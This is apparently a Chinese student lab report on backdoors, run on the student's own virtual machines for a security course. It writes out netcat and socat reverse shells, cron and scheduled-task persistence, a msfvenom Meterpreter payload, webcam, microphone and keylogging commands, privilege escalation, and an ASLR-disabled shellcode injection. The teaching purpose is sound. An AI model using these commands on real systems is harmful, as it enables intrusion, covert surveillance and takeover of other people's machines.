一、实践目标
- 1.清楚后门概念
- 2.会用nc获取远程主机的Shell
- 3.会用meterpreter
- 4.会启动后门
二、实践内容
- 1.使用netcat获取主机操作Shell,cron启动
- 2.使用socat获取主机操作Shell, 任务计划启动
- 3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 5.可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
三、实践原理
1.后门概念
- 后门就是不经过正常认证流程而访问系统的通道,通常存在于以下位置:编译器留后门;操作系统留后门;最常见的当然还是应用程序中留后门;还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。
2.常用后门工具
2.1 NC 或 netcat
是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
Linux: 一般自带netcat,`"man netcat" 或"man nc"可查看其使用说明。
Windows: 课程主页附件中下载ncat.rar解压即可使用。
Mac: 系统自带,"man nc",查看其使用说明
2.1.1 Win获得Linux Shell
1.在windows中用ncat打开一个监听端口,端口号5230ncat.exe -l -p 5230
2.在kail中使用nc命令-e选项执行shell,反向连接至主机对应端口nc 192.168.80.130 5230 -e /bin/sh
3.进入主机,通过命令ls/或其他,验证运行kail的shell- 2.1.2 linux获取Windows shell
1.Linux运行监听指令:nc -l -p 5230
2.Windows反弹连接Linux:ncat.exe -e cmd.exe ip_of_linux 5230
3.Linux下看到Windows的命令提示
- 2.1.3 通过nc在两者间传输数据:主机下建立监听端口
ncat.exe -l 5230
,kail下建立连接至主机端口``nc 192.168.80.130 5230```,建立成功后可进行文字传输
2.1.4 通过nc在两者间传输文件(kali->windows):Windows下建立端口同时定义接收地址
ncat.exe -l 5230 > file1.out
,kail下创建测试文件fileout(输入20175230),连接至主机进行文件输送nc 192.168.80.130 5230 < fileout
2.2 Meterpreter:Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。
2.3.Socat:又称Netcat++,超级netcat工具,是nc的加强版,任何代理、转发等功能都可以用该工具实现,使用方法与nc类似
四、实践步骤
任务一 使用netcat获取主机操作Shell,cron启动
- 1.在Windows中设立监听端口
ncat.exe -l -p 5230
- 2.利用
crontab -e
指令编写一条定时任务,以定时可反弹至主机端口,进入后编辑器选择3即为vim编辑器 3.增加命令为
40 * * * * /bin/netcat 192.168.80.130 5230 -e /bin/sh
即为每个小时的第40分钟时执行后方命令(数字填写以自己做实验的时间来定,进行本次实验时为15:37,因此选择40)4.当时间到后进行测试
任务二 使用socat获取主机操作Shell, 任务计划启动
- 1.在Window7系统下,打开控制面板->系统和安全->管理工具找到任务计划程序,然后->创建任务…
2.点击触发器选项卡,选择新建,然后将开始任务设置为工作站锁定时,即锁屏时运行程序,也可以将任务设置为
制定计划时
,这样可以像任务一定时执行3.点击常规选项卡,输入名称,在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写
tcp-listen:5230 exec:cmd.exe,pty,stderr
(两个参数之间用空格或者;),这个命令的作用是把cmd.exe绑定到端口5230,同时把cmd.exe的stderr(标准输出(设备)文件,对应终端的屏幕)重定向到stdout上:4.创建完成之后,windows+L锁定计算机让任务开始执行。然后在Kali环境下输入指令
socat - tcp:192.168.80.130:5230
这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5230端口,此时可以发现已经成功获得了一个cmd shell
任务三 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1.在kali中输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.130 LPORT=5230 -f exe > 20175230_backdoor.exe
2.在主机下执行
ncat.exe -l 5230 > 201725230_backdoor.exe
在kali中通过nc 192.168.80.130 5230 < 20175230_backdoor.exe
将生成的后门程序传送到主机上- 4.Linux使用MSF打开监听进程
在Linux中输入msfvenom
进入MSF
輸入use exploit/multi/handler
进入handler
输入set payload windows/meterpreter/reverse_tcp设置连接(playload)
输入show options查看设置是否正确
输入set LHOST 192.168.189.136设置ip地址(Linux地址)
输入set LPORT 5217设置端口号
输入show options再次查看设置是否正确
输入exploit
打开监听
- 5.回到主机点击打开传输过去的后门程序,可以观察到kail取得链接,并可以远程控制主机shell
- 6.注意:
LHOST需要和上一步生成backdoor.exe的一致;
LPORT也需要和上一步生成backdoor.exe的一致;
payload也要一致,即windows/meterpreter/reverse_tcp
。
任务四 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 1.进行任务三中的1-4步骤,然后使用record_mic指令截获一段音频
2.使用webcam_snap/webcam stream指令可以使用摄像头进行拍照/摄影
3.使用screenshot指令可以进行截屏
4.在kali中使用keyscan_start指令开始,在windows中记录下击键的过程,使用keyscan_dump指令读取击键的记录
5.先使用getuid指令查看当前用户,使用getsystem指令进行提权
任务五 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
- 1.主要步骤同实验一,关闭地址随机化:
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查看地址随机化的状态
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
- 2.根据 %esp 值 + 4 = 0xffffd330,由此更改注入代码前 4 个 \x 数据。
3.输入命令
perl -e 'print "A" x 32;print"\x30\xd3\xff\xff\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode_2
- 4.在另终端中先启动 msfconsole
use exploit/multi/handler //用于设置payload
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1 //设置IP为回环地址
set LPORT 4444 //根据代码设置端口
exploit //设置完成开始监听
- 5.返回exp1终端中后执行:
(cat input_shellcode_2) | ./pwn1
,成功获得shell 。
五、实践总结
- 问题一:使用电脑物理机时,无法和虚拟机kali系统ping通(两端的防火墙均已关闭,kali->windows可以ping通,windows->kali无法ping通)
问题一解决方案:没有找到方法,将物理机换成window7虚拟机时正常ping通 - 问题二:在任务三中使用MSF meterpreter生成可执行文件时,出错
问题二解决方法:由于默认安装的bundler为最新版本2.1.4。msfconsole依赖的版本为1.17.3,所以需要安装旧版本。执行如下命令:gem install bundler:1.17.3
六、问题回答
- (1)例举你能想到的一个后门进入到你系统中的可能方式?
可以使用捆绑软件将后门程序捆绑到需要下载或者传输的文件、图片、程序等。 - (2)例举你知道的后门如何启动起来(win及linux)的方式?
linux下可以使用cron启动;各种启动脚本;和其他文件捆绑启动
win下Windows->控制面板->管理工具->任务计划程序,新建任务计划进行启动;开机启动;安装服务启动;和其他文件捆绑 - (3)Meterpreter有哪些给你映像深刻的功能?
可以对启动了执行文件的目标机进行监控,比如开启摄像头、截屏、录音、获取输入等。 - (4)如何发现自己有系统有没有被安装后门?
检查自启动项是否异常,检查新建任务是否异常,进行入侵检测。
七、实践体会
本次实践活动虽然有老师的讲解和各位学长学姐的博客,但还是做的比较艰难,从任务二开始,就频频出错,首先是ping不通,上网查找了好多资料,最终也没有解决;然后想到可以用win7实验,但是运行两台虚拟机又比较卡,耗费了很长时间;虽然困难重重,但依然完成了实践,看其他同学的博客,好像很轻松的样子……纸上得来终觉浅,绝知此事要躬行,古人诚不欺我。
进过了此次实践,对网络安全问题有了更加深刻地认识(此前也没有经历过网络安全问题),在以后的学习生活中会慢慢注意网络安全问题的;同时也了解到了黑客的可怕, 体会到了黑客的心理活动。